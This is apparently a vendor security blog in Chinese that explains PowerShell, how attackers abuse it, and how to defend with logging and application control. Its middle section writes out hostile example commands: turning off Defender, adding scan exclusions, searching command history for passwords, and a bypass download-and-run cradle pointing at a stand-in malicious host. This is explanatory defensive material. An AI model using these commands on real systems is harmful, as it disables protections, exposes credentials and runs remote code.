
什麼是 Windows PowerShell?
Windows PowerShell 是強大的自動化工具。了解其安全影響,以及如何在您的環境中安全使用。

Windows PowerShell 是功能強大的指令碼語言與命令列殼層,可用於自動執行工作及管理組態。本指南探討 PowerShell 的功能與能力,包括它在系統管理和安全防護中的用途。
了解常見的 PowerShell 命令、指令碼撰寫最佳實務,以及如何運用 PowerShell 強化網路安全。對 IT 專業人員與資安從業人員而言,了解 PowerShell 至關重要。

PowerShell 會如何影響您企業的重要資產?了解 PowerShell 的基礎知識、它為何吸引駭客 & 如何保護企業
Microsoft PowerShell 是用於自動執行工作及管理 Windows 系統的命令列殼層與指令碼語言。管理員和資安專業人員常用它來自動執行例行工作、管理與監控系統,以及自動回應安全事件。攻擊者也經常利用 PowerShell 未經授權存取系統並執行惡意程式碼。
Microsoft PowerShell 早在 2006 年就在 Windows 上推出,如今已成為 Windows 10 檔案總管使用的命令殼層,並在很大程度上取代舊版 cmd.exe 工具。一般使用者可能覺得它難以掌握,但 PowerShell 憑藉靈活性與強大功能,已成為 IT 團隊和網路管理員不可或缺的工具。在這份入門指南中,我們將說明 PowerShell 的基礎知識、它為何吸引 駭客 和 malware 作者,以及您可以如何保護組織。
選擇適合您的版本
如果您在 Cortana 的搜尋欄位輸入 ‘PowerShell’,會看到 PowerShell ISE 和 PowerShell 桌面應用程式兩個選項。此外,如果您在「開始」功能表或任一 PowerShell 的工作列圖示上按一下滑鼠右鍵,會發現兩種啟動各版本 PowerShell 的方式:以目前使用者或管理員身分執行。

想要自動執行常見工作的管理員,可能會使用 ISE 介面開發 PowerShell 模組與指令碼;但在互動式操作時,多數人會選擇 PowerShell 桌面應用程式,並視工作需要,以管理員或目前使用者身分執行。
您可能也聽過 PowerShell Core,這是跨平台的開放原始碼版本,除了 Windows,也能在 Linux 和 macOS 上執行:

不過請留意,它安裝時是未簽署的二進位檔,很容易被惡意冒牌程式取代。如果您的端點使用 PowerShell Core,請確保組織使用適當的憑證為其簽署,或定期執行 shasum 檢查,確認它未遭竄改。
雖然不同版本的 PowerShell 在功能上略有差異,但都能透過 SSH 執行遠端工作階段,並與各種處理程序和服務互動。PowerShell 甚至能與 Windows 登錄檔和事件記錄互動。這也意味著,能存取 PowerShell 的攻擊者,同樣能取得這些存取權限並利用這些功能。
釋放 PowerShell 的強大功能
透過兩個簡單的命令,您就能初步了解 PowerShell 的功能:
Get-Module -ListAvailable
列出可用的模組,以及
Get-Command
列出可用的命令:

我們快速看幾個例子。假設您(或攻擊者)正在瀏覽文件目錄,想迅速找出其中是否有值得注意的內容。以下命令會輸出目錄中每個文字檔的前兩行與最後兩行,遞迴搜尋子目錄並包含隱藏或不可見的檔案,再將輸出導向另一個文字檔,供日後檢視或擷取:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
如果有人要尋找可能以 “Confidential” 開頭,或以 “Chief Financial Officer” 等作者職稱結尾的文件,這就是一種快速列舉相關項目的方法。
要刪除項目,例如清除入侵證據,只需執行
Remove-Item <path>
PowerShell 也讓使用者能以各種方式操作作業系統,其中有些方式很危險。如果 malware 作者想繞過預先安裝的 Microsoft Defender 防毒引擎,只要以適當權限執行 PowerShell 命令,就能將其停用:
Set-MpPreference -DisableRealTimeMonitoring $true
或者,採取較不易察覺的方式,將磁碟機或路徑排除在掃描範圍之外:
Add-MpPreference -ExclusionPath “c:”
PowerShell 也讓攻擊者能輕易列舉您的網路磁碟機,並查詢事件記錄,以尋找可利用的資訊;對應的命令分別是 Get-PSDrive 和 Get-EventLog。

對使用者和惡意行為者而言,另一項實用功能是讀取以互動方式在命令列輸入的命令歷程記錄,包括傳入的所有引數。歷程記錄儲存在以下命令輸出的路徑:
(Get-PSReadLineOption).HistorySavePath
我們可以使用 cat 和 Select-String Cmdlet(或其別名 sls),對這些命令執行類似 “grep” 的搜尋,找出感興趣的內容(例如 密碼!):

指令碼 & 攻擊套件
然而,對惡意行為者來說,直接在命令列操作 PowerShell 並不是最大的機會。更危險的是,PowerShell 能從記憶體(也就是 “無檔案” malware 攻擊)或磁碟執行指令碼。兩者都能直接在主機上或從遠端執行。
與 Unix shell 的 eval 命令類似,PowerShell 的 Invoke-Expression(及其別名 iex)可下載惡意指令碼並在記憶體中執行。我們還可以加入 Bypass,嘗試規避受限制的執行原則:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
不出所料,充分發揮 PowerShell 功能的完整漏洞利用框架很快就出現了.
其中首推 PowerSploit, 這是一套 PowerShell 指令碼,可用來操控受害者的電腦.

PowerShell Empire 以 PowerSploit 和其他幾個專案為基礎,打造出可規避網路偵測、執行鍵盤側錄程式,以及執行 Mimikatz 等其他模組的入侵後工具,直接從記憶體擷取明文密碼、密碼雜湊值和其他資料.

PowerShell 攻擊的興起
建立可透過其他類型的 Windows 檔案, .exe, .bat, .wsf 和 .LNK 執行的 PowerShell 指令碼與命令,是近年 PowerShell 惡意軟體日益猖獗的原因之一. 有一項 估計 指出,近 40% 的惡意軟體事件涉及 PowerShell 漏洞利用。毫無疑問,攻擊者正將其用於各式各樣的攻擊活動,從 勒索軟體 到 憑證竊取 和銀行木馬皆是如此. PowerShell 也涉及點擊詐欺、密碼側錄和資料外洩.
DNSMessenger 是一種透過 Word 文件巨集散播的惡意軟體. 它巧妙地利用 VBA 原始碼傳送編碼後的 PowerShell 命令,以維持持續存取、投遞惡意酬載,並與 C&C 伺服器通訊.
令人意外的是,有些 PowerShell 攻擊甚至不需要內建的 PowerShell.exe。像 PowerShdll 和 InsecurePowerShell 這類工具,可利用 PowerShell 二進位檔底層的 System.Management.Automation.dll 直接執行指令碼. 簡言之,PowerShell 執行檔只是動態連結程式庫中實際程式碼的宿主或封裝程式. 攻擊者可利用這點,讓幾乎任何處理程序執行 PowerShell 指令碼和命令.
PowerShell 的其他創新用法包括將 PowerShell 指令碼嵌入 PNG 檔案的像素,並產生單行命令,透過 Invoke-PSImage 執行該指令碼,或使用 PS2EXE 等工具將 PowerShell 指令碼轉換為 EXE 檔案.
管理 PowerShell
由此可見,單純封鎖 PowerShell.exe 徒勞無功,還會讓仰賴 PowerShell 功能的系統管理員承受沉重負擔. 必須了解,PowerShell 及其底層 DLL 都是 Windows 作業系統不可或缺的一部分。隨著 PowerShell Core 問世,這項能力更擴展至 跨平台 管理,企業可能視其為不可或缺的能力.
要因應 PowerShell 的雙重特性, 有效的企業級方案需要像 SentinelOne 一樣, 觀察端點上執行的程序行為. 這種方法之所以有效, 是因為無論惡意軟體攻擊如何實施, 這些程序的行為都大致相同. SentinelOne 代理程式會監控代理程式上的所有活動, 區分惡意與正常行為. 由於代理程式已掌握完整的活動脈絡: 使用者, 程序, 命令列引數, 登錄檔, 磁碟上的檔案, 以及對外通訊, 因此無論來源為何, 都能緩解惡意活動.
喜歡這篇文章嗎? 歡迎在 LinkedIn, Twitter, YouTube 或 Facebook 追蹤我們,查看我們發布的內容.
閱讀更多 Windows 安全性相關文章
- Hancitor 銀行木馬捲土重來 | 利用惡意 Word 附件發動攻擊
- SentinelOne 偵測並封鎖新版 Powershell CryptoWorm
- 新型 Windows 10 檔案類型可遭濫用來執行惡意應用程式

AI-Powered Cybersecurity
Elevate your security posture with real-time detection, machine-speed response, and total visibility of your entire digital environment.
Windows PowerShell 常見問題
Windows PowerShell 是 Microsoft 以 .NET Framework 為基礎打造的命令列 Shell 與指令碼語言. 您可以使用 cmdlet 這類簡單的「動詞-名詞」命令, 自動執行檔案系統、登錄與服務管理等工作.
PowerShell 處理並傳回物件, 而非純文字, 因此您可以將結構化資料從一個 cmdlet 透過管線傳給下一個. 它也支援遠端管理、模組及主控台內說明, 方便管理系統.
不同於舊式 CMD, PowerShell 使用「動詞-名詞」格式的 cmdlet, 並處理 .NET 物件而非文字資料流. 這表示您可以透過管線串接命令, 不必剖析文字. PowerShell 指令碼還能直接呼叫 .NET API, 提供更完善的錯誤處理功能, 並支援模組.
傳統 Shell 只能處理純文字和基本批次指令碼, PowerShell 則提供完整的指令碼環境, 可用於自動化和組態設定.
PowerShell 深度整合系統, 且具備強大的指令碼功能, 因此深受管理員與攻擊者青睞. 威脅行為者會運用無檔案技術—在記憶體中執行指令碼—規避偵測.
PowerShell 不必將檔案寫入磁碟, 就能停用防禦措施、下載惡意程式碼或竊取憑證. 由於它在 Windows 中無所不在, 防禦者必須將 PowerShell 活動視為高風險, 並密切監控是否遭到濫用.
Cisco 的研究指出, 超過三分之一的端點重大安全威脅涉及 PowerShell. Carbon Black 則指出, 38% 的事件涉及濫用 PowerShell, 通常用於入侵後的橫向移動或憑證竊取等行動.
儘管正常使用率不高, 每十四起經確認的惡意活動中, 約有一起涉及 PowerShell.
啟用所有 PowerShell 記錄功能: 模組記錄、指令碼區塊記錄及逐字記錄. 將記錄大小設為至少 150 MB, 並從
Microsoft-Windows-PowerShell/Operational 和 PowerShellCore/Operational 收集事件. 將記錄匯入 SIEM 或 XDR. 封鎖由不受信任的父程序啟動的指令碼, 並將執行原則限制為只允許已簽署的指令碼. 啟用受保護的事件記錄, 取得更多詳細資訊.
使用 Just Enough Administration (JEA), 將使用者權限限制為只能存取核准的 cmdlet. 強制使用受限語言模式, 停用 COM、WMI 和複雜運算式. 部署應用程式控制原則 (例如 WDAC), 將已簽署的指令碼列入允許清單.
將 PowerShell 更新至 v5.1 或更新版本. 定期檢查並調整記錄設定, 確保每次執行指令碼都有記錄.
完全封鎖 PowerShell 可能影響系統管理和遠端管理. Microsoft 不建議直接移除它. 應改為只允許授權管理員執行, 強制實施應用程式控制, 並限制 PowerShell 由 Office 應用程式等不受信任的父程序啟動.
結合記錄與監控, 這些控制措施能阻止大多數惡意使用行為, 同時不妨礙正常作業.
PowerShell 可讓防禦者自動執行事件應變、迅速收集鑑識資料並搜尋威脅. 您可以撰寫指令碼, 在幾分鐘內收集登錄項目、程序清單及網路連線資料. 學習 PowerShell 也有助於理解攻擊者的手法, 因為許多入侵後工具 (Empire、Cobalt Strike) 都在底層使用 PowerShell.
PowerShell 指令碼可以擷取即時記憶體、登錄執行機碼、事件記錄及網路資料, 供事件初步分析使用. DFIR-Script 等社群工具可自動收集各端點的證據. 威脅搜尋人員使用 PowerShell 查詢 Windows Event ID 4104, 找出惡意指令碼區塊、剖析輸出, 並將結果匯入 SOAR 劇本. 因此, PowerShell 是偵測、圍堵及修復工作流程的核心工具.


